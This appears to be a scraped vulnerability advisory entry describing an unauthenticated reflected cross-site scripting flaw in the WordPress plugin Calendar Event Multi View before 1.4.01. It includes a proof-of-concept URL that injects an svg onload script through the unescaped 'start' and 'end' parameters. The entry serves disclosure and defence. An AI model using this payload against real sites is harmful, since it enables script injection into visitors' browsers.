Lucene search

K
wpvulndbIohexWPVDB-ID:3C5A5187-42B3-4F88-9B0E-4FDFA1C39E86
HistoryJul 05, 2021 - 12:00 a.m.

Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)

2021-07-0500:00:00
iohex
wpscan.com
3

0.002 Low

EPSS

Percentile

54.2%

The plugin does not sanitise or escape the ‘start’ and ‘end’ GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.

PoC

https://www.example.com/?cpmvc_id=1&amp;cpmvc;_do_action=mvparse&amp;f;=edit&amp;month;_index=0&amp;delete;=1&amp;palette;=0&amp;paletteDefault;=F00&amp;calid;=1&amp;id;=999&amp;start;=a"><svg/><" &end;=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22

CPENameOperatorVersion
cp-multi-view-calendarlt1.4.01

0.002 Low

EPSS

Percentile

54.2%

Related for WPVDB-ID:3C5A5187-42B3-4F88-9B0E-4FDFA1C39E86